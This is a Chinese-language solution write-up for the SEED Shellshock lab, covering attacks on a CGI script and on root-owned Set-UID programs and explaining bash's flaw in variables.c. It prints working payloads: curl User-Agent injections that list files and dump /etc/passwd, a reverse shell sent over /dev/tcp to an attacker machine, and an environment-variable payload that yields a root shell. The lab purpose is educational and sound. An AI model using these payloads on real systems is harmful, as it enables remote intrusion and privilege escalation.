1. 程式人生 > 其它 >ShellShock Attack Lab Solution Seed CGI UID

ShellShock Attack Lab Solution Seed CGI UID

Shellshock Attack Lab

2014年9月24日,Bash中發現了一個嚴重的漏洞。這個綽號叫Shellshock的漏洞可以利用許多系統,可以遠端啟動或從本地機器啟動。在這個實驗中,我們將研究這種攻擊,這樣才能瞭解Shellshock漏洞。

本文作者:zmzzmqa、對酒當歌

Lab Tasks

任務1:攻擊CGI計劃

Task 1: Attack CGI programs。在此任務中,我們將在遠端Web伺服器上啟動shellshock攻擊。 許多Web伺服器啟用CGI,即用於在網頁和Web應用程式上生成動態內容的標準方法。 使用shell指令碼編寫許多CGI程式。 因此,在執行CGI程式之前,將呼叫shell程式,並將這種呼叫由遠端計算機觸發。

第1步:設定CGI程式。

您可以編寫一個非常簡單的CGI程式(稱為myprog.cgi),如下所示。 它只需使用shell指令碼打印出“Hello World”。

#!/bin/bash
echo "Content-type: text/plain"
echo
echo
echo "Hello World"
su root 

vim myprog.cgi
chown root myprog.cgi
chmod 4755 myprog.cgi
su seed
ls -l

請將上述CGI程式放在/usr/lib/cgi-bin目錄中,並將其許可權設定為755(因此它是可執行的)。 您需要使用root許可權來執行這些(使用sudo),因為該資料夾僅是root。 此資料夾是Apache Web伺服器的預設CGI目錄。 如果要更改此設定,則可以修改/etc/apache2/sites

可用/預設值,這是apache配置檔案。
要從Web訪問此CGI程式,您可以通過鍵入以下URL來使用瀏覽器:http://localhost/cgi-bin/myprog.cgi,或使用以下命令列程式curl做同樣的事情:

$  curl  http://localhost/cgi-bin/myprog.cgi

在我們的設定中,我們執行Web伺服器和來自同一臺計算機的攻擊,這就是我們使用localhost的原因。 在實際攻擊中,伺服器正在遠端計算機上執行,而不是使用localhost,我們使用主機名或伺服器的IP地址。

在獲取主機地址後

可以使用另一臺裝置進行。

curl  http://192.168.190.136/cgi-bin/myprog.cgi

第2步:啟動攻擊。

在設定上述CGI程式後,您可以啟動ShellShock攻擊。 該攻擊不依賴於CGI程式中的內容,因為它針對CGI指令碼在執行CGI指令碼之前呼叫的Bash程式。 您的目標是通過URL http://localhost/cgi-bin/myprog.cgi啟動攻擊,以便您可以實現您不能作為遠端使用者的內容。 例如,您可以從伺服器上刪除某些檔案,或從伺服器獲取某些檔案(無法訪問攻擊者)。
請描述您的攻擊方式。 請從漏洞原始碼變數中查詢.C漏洞是。 您只需要識別初始化shell變數()函式中的行(線上308和369之間)。

檢視 variables.c 檔案 352行開始發現

/* Ancient backwards compatibility.  Old versions of bash exported
	     functions like name()=() {...} */
      if (name[char_index - 1] == ')' && name[char_index - 2] == '(')
        name[char_index - 2] = '\0';

      if (temp_var = find_function(name))
      {
        VSETATTR(temp_var, (att_exported | att_imported));
        array_needs_making = 1;
      }
      else
        report_error(_("error importing function definition for `%s'"), name);

在這裡 bash 會檢查環境變數的值,如果環境變數的值是以“() { ”開頭的,bash 將會把”=”替換成空格,從而將環境變數的變為一個函式定義。

-A 選項可以用來設定請求的 User-Agent 欄位。所以如果想要執行”/bin/ls -l”,可以構造

curl -A "() { :;}; echo ; /bin/ls -l" http://192.168.190.136/cgi-bin/myprog.cgi

若想列印/etc/passwd,可構建

curl -A "() { : ;}; echo ; /bin/cat /etc/passwd" http://192.168.190.136/cgi-bin/myprog.cgi

嘗試獲取bash許可權

/bin/bash 命令表示通常在受損伺服器上執行的命令。 此命令有以下幾個部分:

  • /bin/bash-i:i 代表互動式,意思是 shell 必須是互動式的(必須提供 shell 提示)
  • \>/dev/tcp/192.168.136.130/9090:其作用是將 shell 的輸出(stdout)重定向到 TCP 連線到 192.168.136.130(攻擊機)的9090埠。 輸出 stdout 用檔案描述符編號 1 表示。
  • 0<&1: 檔案描述符 0 表示標準輸入(stdin)。 這導致外殼的 stdin 從 tcp 連線中獲得。
  • 2>&1:檔案描述符 2 表示標準錯誤 stderr。 這導致錯誤輸出被重定向到 TCP 連線

得到攻擊機的IP地址

攻擊程式碼

curl -A "() { echo 1; };echo;/bin/bash -i > /dev/tcp/192.168.190.135/9090 0>&1 2>&1" http://192.168.190.136/cgi-bin/myprog.cgi

使用tcp連線將bash反彈出來。執行命令後進入等待狀態

在另一個bash中連線該埠,獲得bash

實驗原理:當一個shell程式接受環境變數的時候,會檢測環境變數的值是否以:”() {“開頭,一旦發現這樣的字串,Bash就會用=來替換空格,把環境變數替換成函式定義

但在shell的原始碼中,使用parse_and_execute()函式來解析指令,但是如果轉化的結果包含多條用“;”分開的shell命令,那麼這個函式就會執行每一條指令。

任務 2:攻擊集 UID 程式

Task 2: Attack Set-UID programs。在這個任務中,我們使用Shellshock來攻擊Set-UID程式,目標是獲得root許可權。在攻擊之前,我們需要首先讓 /bin/sh 指向 /bin/bash(預設情況下,它指向 SEED Ubuntu 12.04 VM 中的 /bin/dash)。您可以使用以下命令執行此操作:

$ sudo ln -sf /bin/bash /bin/sh
ls -l /bin/sh

Task 2A

下面的程式是一個Set-UID程式,它只執行"/bin/ls -l"命令。 請編譯此程式碼,使其成為Set-UID程式,並使root成為其所有者。 如我們所知,system()函式將呼叫 "/bin/sh -c" 來執行給定的命令,這意味著將呼叫 /bin/bash。你能使用Shellshock漏洞來獲得root許可權嗎?

建立檔案b.c 編譯併為它設定為 set-uid 程式。

#include <stdio.h>
void main()
{
setuid(geteuid()); // make real uid = effective uid.
system("/bin/ls -l");
}
sudo ln -sf /bin/bash /bin/sh

gcc b.c -o b
sudo chown root b
sudo chmod 4755 b

應該注意的是,使用setuid(geteuid())將真正的uid轉換為有效的uid在Set-UID程式中並不常見,但它確實發生了。

攻擊程式碼

export att='() { echo hello; }; /bin/sh'

攻擊成功

./b

得到了 root 許可權的shell。

Task 2B

現在,從上面的程式中刪除setuid(geteuid());語句,並重復你的攻擊。您能否獲得 root 許可權?

在實驗中,當刪除該行時,攻擊將失敗(使用該行,攻擊成功)。換句話說,如果真實使用者 ID 和有效使用者 ID 相同,則會評估環境變數中定義的函式,從而利用 Shellshock 漏洞。但是,如果實際使用者 ID 和有效使用者 ID 不相同,則根本不計算環境變數中定義的函式。這可以從 bash 原始碼(變數.c,在第 308 行到第 369 行之間)進行驗證。可以從實驗室網站獲取原始碼。請準確指出哪條線導致了差異,並解釋為什麼Bash會這樣做。

去除後攻擊失敗,不能獲得bash。

gcc b.c -o b
sudo chown root b
sudo chmod 4755 b
./b

因為原始碼中對privemode 進行了比較,在這裡真實的id 是 seed,而有效使用者 id 是 root,因此 bash 不會執行從環境變量出獲得的函式定義。

execve函式是載入一個程式,而這個程式儘管只用原先的環境變數但是由於並沒有使用sh去解析該命令,並沒有觸發bash的漏洞。

任務 2C

在 C 中呼叫程式的另一種方法是使用 execve(),而不是 system()。 以下程式所做的與任務 2A 中的程式完全相同。請編譯程式碼,並使其成為root擁有的Set-UID程式。 在這個新程式上發起你的Shellshock攻擊。

使用 execve()函式,而不是 system 函式()的c.c檔案

#include <string.h>
#include <stdio.h>
#include <stdlib.h>
char **environ;
int main()
{
    char *argv[3];
    argv[0] = "/bin/ls";
    argv[1] = "-l";
    argv[2] = NULL;
    setuid(geteuid()); // make real uid = effective uid.
    execve(argv[0], argv, environ);
    return 0;
}

編譯設定程式

gcc c.c -o c
sudo chown root c
sudo chmod 4755 c
export att='() { echo hello; }; /bin/sh'

./c

攻擊也是失敗,因為execve()並沒呼叫一個新的shell,而system則相當於呼叫一個/bin/sh -c,環境變數沒有子shell可傳,也就不會產生shellshock漏洞。

任務3:問題

2.3 任務3:問題
這是一項寫作任務,請在您的報告中回答以下問題:

  1. 除了上述兩種情況(CGI和Set-UID程式)之外,還有其他sce-nario可能受到Shellshock攻擊的影響嗎?

還有基於 Shellshock 的蠕蟲攻擊、利用 ShellShock 殭屍網路的對 SMTP 的攻擊、基於Shellshock 的對 DHCP 的攻擊等等。

  1. Shellshock漏洞的根本問題是什麼? 我們可以從這個漏洞中學到什麼?

Bash 4.3 以及之前的版本在處理某些構造的環境變數時存在安全漏洞,向環境變數值內的函式定義後新增多餘的字串會觸發此漏洞。受到該漏洞影響的 bash 使用的環境變數是通過函式名稱來呼叫的,以“(){”開頭通過環境變數來定義的。而在處理這樣的“函式環境變數”的時候,並沒有以函式結尾“}”為結束,而是一直執行其後的 shell 命令。攻擊者可利用此漏洞改變或繞過環境限制,以執行任意的 shell 命令,甚至完全控制目標系統。

從 Shellshock 中,我們可以學到兩點:

  • 及時更新系統及軟體,定期掃描系統,以防應對不及時而遭受漏洞攻擊;
  • bash 原始碼中,針對 ENV 命令實現部分,應進行邊界檢查與引數過濾,嚴格界定函式定義範圍,並做合法化的引數的判斷。
  • 一切使用bash解析的shell指令碼都會收到影響,不要相信使用者的輸入。